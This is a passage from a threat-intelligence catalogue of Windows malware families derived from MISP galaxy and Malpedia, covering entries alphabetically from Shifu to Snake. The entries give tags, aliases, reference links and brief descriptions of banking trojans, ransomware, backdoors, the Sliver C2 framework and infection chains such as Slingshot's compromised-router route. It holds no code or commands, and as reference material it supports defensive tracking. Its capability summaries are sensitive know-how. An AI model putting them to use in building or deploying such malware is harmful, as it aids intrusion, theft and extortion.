<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.shelllocker">https://malpedia.caad.fkie.fraunhofer.de/details/win.shelllocker</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/JaromirHorejsi/status/813726714228604928">https://twitter.com/JaromirHorejsi/status/813726714228604928</a></td>
</tr>
</tbody>
</table>

Shifu

Shifu was originally discovered by Trusteer security researchers (Ilya Kolmanovich, Denis Laskov) in the middle of 2015. It is a banking trojan mostly focusing on Japanese banks and has rich
features for remote data extraction and control.

The tag is: `misp-galaxy:malpedia="Shifu"`

Shifu is also known as:

<table>
<thead>
<tr>
<th>Table 4096. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.shifu">https://malpedia.caad.fkie.fraunhofer.de/details/win.shifu</a></td>
</tr>
<tr>
<td><a href="https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/">https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/</a></td>
</tr>
<tr>
<td><a href="http://researchcenter.paloaltonetworks.com/2017/01/unit42-2016-updates-shifu-banking-trojan/">http://researchcenter.paloaltonetworks.com/2017/01/unit42-2016-updates-shifu-banking-trojan/</a></td>
</tr>
<tr>
<td><a href="https://intel471.com/blog/a-brief-history-of-ta505">https://intel471.com/blog/a-brief-history-of-ta505</a></td>
</tr>
</tbody>
</table>

**Shim RAT**

The tag is: `misp-galaxy:malpedia="Shim RAT"`

Shim RAT is also known as:

<table>
<thead>
<tr>
<th>Table 4097. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.shimrat">https://malpedia.caad.fkie.fraunhofer.de/details/win.shimrat</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-walker">https://www.secureworks.com/research/threat-profiles/bronze-walker</a></td>
</tr>
<tr>
<td><a href="https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf">https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf</a></td>
</tr>
</tbody>
</table>

**SHIPSHAPE**

SHIPSHAPE is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.

The tag is: `misp-galaxy:malpedia="SHIPSHAPE"`

SHIPSHAPE is also known as:

<table>
<thead>
<tr>
<th>Table 4098. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.shipshape">https://malpedia.caad.fkie.fraunhofer.de/details/win.shipshape</a></td>
</tr>
</tbody>
</table>
Shujin

The tag is: `misp-galaxy:malpedia="Shujin"`

Shujin is also known as:

Table 4099. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.shujin">https://malpedia.caad.fkie.fraunhofer.de/details/win.shujin</a></td>
</tr>
</tbody>
</table>

Shurlo0ckr

The tag is: `misp-galaxy:malpedia="Shurlo0ckr"`

Shurlo0ckr is also known as:

Table 4100. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.shurlo0ckr">https://malpedia.caad.fkie.fraunhofer.de/details/win.shurlo0ckr</a></td>
</tr>
</tbody>
</table>

Shylock

The tag is: `misp-galaxy:malpedia="Shylock"`

Shylock is also known as:

- Caphaw

Table 4101. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.shylock">https://malpedia.caad.fkie.fraunhofer.de/details/win.shylock</a></td>
</tr>
</tbody>
</table>
SideTwist

The tag is: `misp-galaxy:malpedia="SideTwist"`

SideTwist is also known as:

Table 4102. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

SideWalk (Windows)

Shellcode-based malware family that according to ESET Research was likely written by the same authors as win.crosswalk.

The tag is: `misp-galaxy:malpedia="SideWalk (Windows)"

SideWalk (Windows) is also known as:

- ScrambleCross

Table 4103. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
SideWinder (Windows)

The tag is: misp-galaxy:malpedia="SideWinder (Windows)"

SideWinder (Windows) is also known as:

Table 4104. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sidewinder">https://malpedia.caad.fkie.fraunhofer.de/details/win.sidewinder</a></td>
</tr>
<tr>
<td><a href="https://ti.qianxin.com/blog/articles/the-recent-rattlesnake-apt-organized-attacks-on-neighboring-countries-and-regions/">https://ti.qianxin.com/blog/articles/the-recent-rattlesnake-apt-organized-attacks-on-neighboring-countries-and-regions/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@DCSO_CyTec/404-file-still-found-d52c3834084c">https://medium.com/@DCSO_CyTec/404-file-still-found-d52c3834084c</a></td>
</tr>
<tr>
<td><a href="https://otx.alienvault.com/pulse/5fd10760f9afb730d37c4742/">https://otx.alienvault.com/pulse/5fd10760f9afb730d37c4742/</a></td>
</tr>
<tr>
<td><a href="https://s.tencent.com/research/report/479.html">https://s.tencent.com/research/report/479.html</a></td>
</tr>
<tr>
<td><a href="https://s.tencent.com/research/report/659.html">https://s.tencent.com/research/report/659.html</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@Sebdraven/apt-sidewinder-tricks-powershell-anti-forensics-and-execution-side-loading-5bc1a7e7c84c">https://medium.com/@Sebdraven/apt-sidewinder-tricks-powershell-anti-forensics-and-execution-side-loading-5bc1a7e7c84c</a></td>
</tr>
<tr>
<td><a href="https://www.secrss.com/articles/26507">https://www.secrss.com/articles/26507</a></td>
</tr>
</tbody>
</table>

SiennaBlue

Ransomware used by threat actor group DEV-0530, attributed by MSTIC to North Korean origin.

The tag is: misp-galaxy:malpedia="SiennaBlue"

SiennaBlue is also known as:

- H0lyGh0st
- HolyLocker

Table 4105. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sienna_blue">https://malpedia.caad.fkie.fraunhofer.de/details/win.sienna_blue</a></td>
</tr>
<tr>
<td><a href="https://blogs.blackberry.com/en/2022/08/h0lygh0st-ransomware">https://blogs.blackberry.com/en/2022/08/h0lygh0st-ransomware</a></td>
</tr>
</tbody>
</table>
SiennaPurple

Ransomware used by threat actor group DEV-0530, attributed by MSTIC to North Korean origin.

The tag is: *misp-galaxy:malpedia*="SiennaPurple"

SiennaPurple is also known as:

- H0lyGh0st
- HolyLocker

Table 4106. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sienna_purple">https://malpedia.caad.fkie.fraunhofer.de/details/win.sienna_purple</a></td>
</tr>
<tr>
<td><a href="https://blogs.blackberry.com/en/2022/08/h0lygh0st-ransomware">https://blogs.blackberry.com/en/2022/08/h0lygh0st-ransomware</a></td>
</tr>
<tr>
<td><a href="https://media.defense.gov/2023/Feb/09/2003159161/-1/1/0/CSA_RANSOMWARE_ATTACKS_ON_CI_FUND_DPRK_ACTIVITIES.PDF">https://media.defense.gov/2023/Feb/09/2003159161/-1/1/0/CSA_RANSOMWARE_ATTACKS_ON_CI_FUND_DPRK_ACTIVITIES.PDF</a></td>
</tr>
</tbody>
</table>

Sierra(Alfa,Bravo, ...) 

The tag is: *misp-galaxy:malpedia*="Sierra(Alfa,Bravo, ...)"

Sierra(Alfa,Bravo, ...) is also known as:

- Destover

Table 4107. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sierras">https://malpedia.caad.fkie.fraunhofer.de/details/win.sierras</a></td>
</tr>
<tr>
<td><a href="https://app.box.com/s/xyyord0b806e6or2nh92coxw2areyyx4">https://app.box.com/s/xyyord0b806e6or2nh92coxw2areyyx4</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA14-353A">https://www.us-cert.gov/ncas/alerts/TA14-353A</a></td>
</tr>
<tr>
<td><a href="http://baesystemsai.blogspot.de/2016/05/cyber-heist-attribution.html">http://baesystemsai.blogspot.de/2016/05/cyber-heist-attribution.html</a></td>
</tr>
</tbody>
</table>
SiestaGraph

The tag is: `misp-galaxy:malpedia="SiestaGraph"`

SiestaGraph is also known as:

<table>
<thead>
<tr>
<th>Table 4108. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.siesta_graph">https://malpedia.caad.fkie.fraunhofer.de/details/win.siesta_graph</a></td>
</tr>
<tr>
<td><a href="https://x.com/threatintel/status/1701259256199090217">https://x.com/threatintel/status/1701259256199090217</a></td>
</tr>
<tr>
<td><a href="https://www.elastic.co/de/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph">https://www.elastic.co/de/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph</a></td>
</tr>
</tbody>
</table>

Siggen6

The tag is: `misp-galaxy:malpedia="Siggen6"`

Siggen6 is also known as:

<table>
<thead>
<tr>
<th>Table 4109. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.siggen6">https://malpedia.caad.fkie.fraunhofer.de/details/win.siggen6</a></td>
</tr>
</tbody>
</table>

SigLoader

The tag is: `misp-galaxy:malpedia="SigLoader"`

SigLoader is also known as:
sihost

The tag is: misp-galaxy:malpedia="sihost"

sihost is also known as:

Silence

According to PCrisk, Truebot, also known as Silence.Downloader, is a malicious program that has botnet and loader/injector capabilities. This malware can add victims’ devices to a botnet and cause chain system infections (i.e., download/install additional malicious programs/components).

There is significant variation in Truebot’s infection chains and distribution. It is likely that the attackers using this malicious software will continue to make such changes.

The tag is: misp-galaxy:malpedia="Silence"

Silence is also known as:

• TrueBot
SILENTUPLOADER

According to Mandiant, SILENTUPLOADER is an uploader written in MSIL that is dropped by DOSTEALER and is designed to work specifically in tandem with it. It checks for files in a specified folder every 30 seconds and uploads them to a remote server.

The tag is: misp-galaxy:malpedia="SILENTUPLOADER"

SILENTUPLOADER is also known as:

Table 4113. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.silentuploader
**Silon**

The tag is: `misp-galaxy:malpedia="Silon"`

Silon is also known as:

*Table 4114. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.silon">https://malpedia.caad.fkie.fraunhofer.de/details/win.silon</a></td>
</tr>
</tbody>
</table>

**Siluhdur**

The tag is: `misp-galaxy:malpedia="Siluhdur"`

Siluhdur is also known as:

*Table 4115. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.siluhdur">https://malpedia.caad.fkie.fraunhofer.de/details/win.siluhdur</a></td>
</tr>
</tbody>
</table>

**Simda**

The tag is: `misp-galaxy:malpedia="Simda"`

Simda is also known as:

- iBank

*Table 4116. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.simda">https://malpedia.caad.fkie.fraunhofer.de/details/win.simda</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=u2HEGDzd8KM">https://www.youtube.com/watch?v=u2HEGDzd8KM</a></td>
</tr>
</tbody>
</table>
SimpleFileMover

The tag is: misp-galaxy:malpedia="SimpleFileMover"

SimpleFileMover is also known as:

*Table 4117. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.simplefilemover">https://malpedia.caad.fkie.fraunhofer.de/details/win.simplefilemover</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators">https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators</a></td>
</tr>
</tbody>
</table>

Sinowal

The tag is: misp-galaxy:malpedia="Sinowal"

Sinowal is also known as:

- Anserin
- Mebroot
- Quarian
- Theola
- Torpig

*Table 4118. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sinowal">https://malpedia.caad.fkie.fraunhofer.de/details/win.sinowal</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Torpig">https://en.wikipedia.org/wiki/Torpig</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2013/03/13/how-theola-malware-uses-a-chrome-plugin-for-banking-fraud/">https://www.welivesecurity.com/2013/03/13/how-theola-malware-uses-a-chrome-plugin-for-banking-fraud/</a></td>
</tr>
<tr>
<td><a href="https://www.virusbulletin.com/virusbulletin/2014/06/sinowal-banking-trojan">https://www.virusbulletin.com/virusbulletin/2014/06/sinowal-banking-trojan</a></td>
</tr>
<tr>
<td><a href="https://www.recordedfuture.com/turla-apt-infrastructure/">https://www.recordedfuture.com/turla-apt-infrastructure/</a></td>
</tr>
</tbody>
</table>
Sisfader

The tag is: misp-galaxy:malpedia="Sisfader"

Sisfader is also known as:

Table 4119. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sisfader">https://malpedia.caad.fkie.fraunhofer.de/details/win.sisfader</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@Sebdraven/gobelin-panda-against-the-bears-1f462d00e3a4">https://medium.com/@Sebdraven/gobelin-panda-against-the-bears-1f462d00e3a4</a></td>
</tr>
</tbody>
</table>

Skimer

The tag is: misp-galaxy:malpedia="Skimer"

Skimer is also known as:

Table 4120. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.skimer">https://malpedia.caad.fkie.fraunhofer.de/details/win.skimer</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html">https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html</a></td>
</tr>
<tr>
<td><a href="http://atm.cybercrime-tracker.net/index.php">http://atm.cybercrime-tracker.net/index.php</a></td>
</tr>
</tbody>
</table>

SkinnyBoy

The tag is: misp-galaxy:malpedia="SkinnyBoy"

SkinnyBoy is also known as:

Table 4121. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.skinnyboy">https://malpedia.caad.fkie.fraunhofer.de/details/win.skinnyboy</a></td>
</tr>
<tr>
<td><a href="https://cybergeeks.tech/skinnyboy-apt28/">https://cybergeeks.tech/skinnyboy-apt28/</a></td>
</tr>
</tbody>
</table>
skip-2.0
A Microsoft SQL Server backdoor

The tag is: `misp-galaxy:malpedia="skip-2.0"`

skip-2.0 is also known as:

Table 4122. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.skip20">https://malpedia.caad.fkie.fraunhofer.de/details/win.skip20</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2019/10/21/winnti-group-skip2-0-microsoft-sql-server-backdoor/">https://www.welivesecurity.com/2019/10/21/winnti-group-skip2-0-microsoft-sql-server-backdoor/</a></td>
</tr>
</tbody>
</table>

Skipper

The tag is: `misp-galaxy:malpedia="Skipper"`

Skipper is also known as:

- Kotel

Table 4123. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.skipper">https://malpedia.caad.fkie.fraunhofer.de/details/win.skipper</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/">https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/</a></td>
</tr>
<tr>
<td><a href="https://pdfhost.io/v/F0@QElMu2_MacProStorage_2017FinalBitdefenderWhitepaperNetrepserA4en_ENBitdefenderWhitepaperNetrepserA4en_ENindd.pdf">https://pdfhost.io/v/F0@QElMu2_MacProStorage_2017FinalBitdefenderWhitepaperNetrepserA4en_ENBitdefenderWhitepaperNetrepserA4en_ENindd.pdf</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/shedding-skin-turlas-fresh-faces/88069/">https://securelist.com/shedding-skin-turlas-fresh-faces/88069/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/iron-hunter">https://www.secureworks.com/research/threat-profiles/iron-hunter</a></td>
</tr>
<tr>
<td><a href="https://blog.telsy.com/following-the-turlas-skipper-over-the-ocean-of-cyber-operations/">https://blog.telsy.com/following-the-turlas-skipper-over-the-ocean-of-cyber-operations/</a></td>
</tr>
</tbody>
</table>

Skyplex

The tag is: `misp-galaxy:malpedia="Skyplex"`

Skyplex is also known as:
Slam

Ransomware.

The tag is: `misp-galaxy:malpedia="Slam"`

Slam is also known as:

Slave

The tag is: `misp-galaxy:malpedia="Slave"`

Slave is also known as:

SLICKSHOES

The tag is: `misp-galaxy:malpedia="SLICKSHOES"`

SLICKSHOES is also known as:
**Slingshot**

- 2012 first sighted
- Attack vector via compromised Mikrotik routers where victims get infection when they connect to Mikrotik router admin software - Winbox
- 2018 when discovered by Kaspersky Team

Infection Vector - Infected Mikrotik Router > Malicious DLL (IP4.dll) in Router > User connect via winbox > Malicious DLL downloaded on computer

The tag is: **misp-galaxy:malpedia=“Slingshot”**

Slingshot is also known as:

*Table 4128. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.slingshot">https://malpedia.caad.fkie.fraunhofer.de/details/win.slingshot</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/apt-slingshot/84312/">https://securelist.com/apt-slingshot/84312/</a></td>
</tr>
<tr>
<td><a href="https://www.cyberscoop.com/kaspersky-slingshot-isis-operation-socom-five-eyes/">https://www.cyberscoop.com/kaspersky-slingshot-isis-operation-socom-five-eyes/</a></td>
</tr>
</tbody>
</table>

**Sliver**

According to VK9 Security, Sliver is a Command and Control (C2) system made for penetration testers, red teams, and advanced persistent threats. It generates implants (slivers) that can run on virtually every architecture out there, and securely manage these connections through a central server. Sliver supports multiple callback protocols including DNS, TCP, and HTTP(S) to make egress simple, even when those pesky blue teams block your domains. You can even have multiple operators (players) simultaneously commanding your sliver army.

The tag is: **misp-galaxy:malpedia=“Sliver”**

Sliver is also known as:

*Table 4129. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sliver">https://malpedia.caad.fkie.fraunhofer.de/details/win.sliver</a></td>
</tr>
<tr>
<td><a href="https://github.com/chronicle/GCTI">https://github.com/chronicle/GCTI</a></td>
</tr>
<tr>
<td><a href="https://www.telsy.com/download/5900/?uid=b797afdcfb">https://www.telsy.com/download/5900/?uid=b797afdcfb</a></td>
</tr>
</tbody>
</table>
The tag is: misp-galaxy:malpedia="slnrat"

slnrat is also known as:

Table 4130. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.slnrat
- https://asec.ahnlab.com/ko/37764/

SlothfulMedia

According to MITRE, SLOTHFULMEDIA is a remote access Trojan written in C++ that has been used by an unidentified "sophisticated cyber actor" since at least January 2017. It has been used to target
government organizations, defense contractors, universities, and energy companies in Russia, India, Kazakhstan, Kyrgyzstan, Malaysia, Ukraine, and Eastern Europe.

The tag is: *misp-galaxy:malpedia=*"SlothfulMedia"*

SlothfulMedia is also known as:

- QueenOfClubs

**Table 4131. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.slothfulmedia">https://malpedia.caad.fkie.fraunhofer.de/details/win.slothfulmedia</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a">https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a</a></td>
</tr>
</tbody>
</table>

**SLUB**

The tag is: *misp-galaxy:malpedia=*"SLUB"*

SLUB is also known as:

**Table 4132. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.slub">https://malpedia.caad.fkie.fraunhofer.de/details/win.slub</a></td>
</tr>
<tr>
<td><a href="https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-kitsune.pdf">https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-kitsune.pdf</a></td>
</tr>
</tbody>
</table>

**smac**

The tag is: *misp-galaxy:malpedia=*"smac"*

smac is also known as:

- speccom

**Table 4133. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.smac">https://malpedia.caad.fkie.fraunhofer.de/details/win.smac</a></td>
</tr>
</tbody>
</table>
Smackdown

The tag is: `misp-galaxy:malpedia="Smackdown"`

Smackdown is also known as:

Table 4134. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.smackdown">https://malpedia.caad.fkie.fraunhofer.de/details/win.smackdown</a></td>
</tr>
</tbody>
</table>

SManager

The tag is: `misp-galaxy:malpedia="SManager"`

SManager is also known as:

- PhantomNet

Table 4135. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager">https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager</a></td>
</tr>
<tr>
<td><a href="https://labs.sentinelone.com/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op/">https://labs.sentinelone.com/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op/</a></td>
</tr>
<tr>
<td><a href="https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set">https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set</a></td>
</tr>
<tr>
<td><a href="https://0xthreatintel.medium.com/how-to-unpack-smanager-apt-tool-cb5909819214">https://0xthreatintel.medium.com/how-to-unpack-smanager-apt-tool-cb5909819214</a></td>
</tr>
</tbody>
</table>
SmartEyes

The tag is: misp-galaxy:malpedia="SmartEyes"

SmartEyes is also known as:

Table 4136. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.smarteyes">https://malpedia.caad.fkie.fraunhofer.de/details/win.smarteyes</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/4eb840617883bf6ed7366242ffee811ad5ea3d5bfd2a589a96d6ee9530690d28/details">https://www.virustotal.com/gui/file/4eb840617883bf6ed7366242ffee811ad5ea3d5bfd2a589a96d6ee9530690d28/details</a></td>
</tr>
</tbody>
</table>

SMAUG

According to PCrisk, Smaug ransomware is available for download on the dark web: it is for sale as Ransomware as a Service (RaaS). Therefore, cyber criminals who purchase it can perform ransomware attacks without having to develop malware of this type. Smaug is designed to encrypt files, rename them and create a ransom message.

The tag is: misp-galaxy:malpedia="SMAUG"

SMAUG is also known as:

Table 4137. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.smaug">https://malpedia.caad.fkie.fraunhofer.de/details/win.smaug</a></td>
</tr>
<tr>
<td><a href="https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html">https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html</a></td>
</tr>
<tr>
<td><a href="https://labs.sentinelone.com/multi-platform-smaug-raas-aims-to-see-off-competitors/">https://labs.sentinelone.com/multi-platform-smaug-raas-aims-to-see-off-competitors/</a></td>
</tr>
</tbody>
</table>

SMOKEDHAM

According to Mandiant, SMOKEDHAM is dropped through a powershell script that contains the (C#) source code for this backdoor, which is stored in an encrypted variable. The dropper dynamically defines a cmdlet and .NET class for the backdoor, meaning the compiled code is only found in...
memory.

The tag is: misp-galaxy:malpedia="SMOKEDHAM"

SMOKEDHAM is also known as:

Table 4138. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.smokedham">https://malpedia.caad.fkie.fraunhofer.de/details/win.smokedham</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html">https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/darkside-affiliate-supply-chain-software-compromise">https://www.mandiant.com/resources/darkside-affiliate-supply-chain-software-compromise</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/burrowing-your-way-into-vpns">https://www.mandiant.com/resources/burrowing-your-way-into-vpns</a></td>
</tr>
</tbody>
</table>

SmokeLoader

The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.

The tag is: misp-galaxy:malpedia="SmokeLoader"

SmokeLoader is also known as:

- Dofoil
- Sharik
- Smoke
- Smoke Loader

Table 4139. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-110a">https://www.cisa.gov/uscert/ncas/alerts/aa22-110a</a></td>
</tr>
<tr>
<td><a href="https://m.alvar.es/2019/10/dynamic-imports-and-working-around.html">https://m.alvar.es/2019/10/dynamic-imports-and-working-around.html</a></td>
</tr>
<tr>
<td><a href="https://suvaditya.one/malware-analysis/smokeloader/">https://suvaditya.one/malware-analysis/smokeloader/</a></td>
</tr>
<tr>
<td><a href="https://eternal-todo.com/blog/smokeloader-analysis-yulia-photo">https://eternal-todo.com/blog/smokeloader-analysis-yulia-photo</a></td>
</tr>
</tbody>
</table>
Smominru

The tag is: `misp-galaxy:malpedia="Smominru"

Smominru is also known as:

- Ismo

*Table 4140. Table References*

Links

- [https://malpedia.caad.fkie.fraunhofer.de/details/win.smominru](https://malpedia.caad.fkie.fraunhofer.de/details/win.smominru)

Smrss32

Ransomware.
The tag is: misp-galaxy:malpedia="Smrss32"

Smrss32 is also known as:

Table 4141. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.smrss32">https://malpedia.caad.fkie.fraunhofer.de/details/win.smrss32</a></td>
</tr>
<tr>
<td><a href="https://www.bleepingcomputer.com/forums/t/623132/smrss32-encrypted-ransomware-help-support-how-to-decryptbmp/">https://www.bleepingcomputer.com/forums/t/623132/smrss32-encrypted-ransomware-help-support-how-to-decryptbmp/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=7gCU31ScJgk">https://www.youtube.com/watch?v=7gCU31ScJgk</a></td>
</tr>
</tbody>
</table>

Sn0wsLogger

The tag is: misp-galaxy:malpedia="Sn0wsLogger"

Sn0wsLogger is also known as:

Table 4142. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sn0wslogger">https://malpedia.caad.fkie.fraunhofer.de/details/win.sn0wslogger</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/struppigel/status/1354806038805897216">https://twitter.com/struppigel/status/1354806038805897216</a></td>
</tr>
</tbody>
</table>

Snake

Snake Ransomware is a Golang ransomware reportedly containing obfuscation not typically seen in Golang ransomware. This malware will remove shadow copies and kill processes related to SCADA/ICS devices, virtual machines, remote management tools, network management software, and others. After this, encryption of files on the device commences, while skipping Windows system folders and various system files. A random 5 character string is appended to encrypted files. According to Bleeping Computer, this ransomware takes an especially long time to encrypt files on a targeted machine. This ransomware is reported to target an entire network, rather than individual workstations.

The tag is: misp-galaxy:malpedia="Snake"

Snake is also known as:

• EKANS
• SNAKEHOSE

Table 4143. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
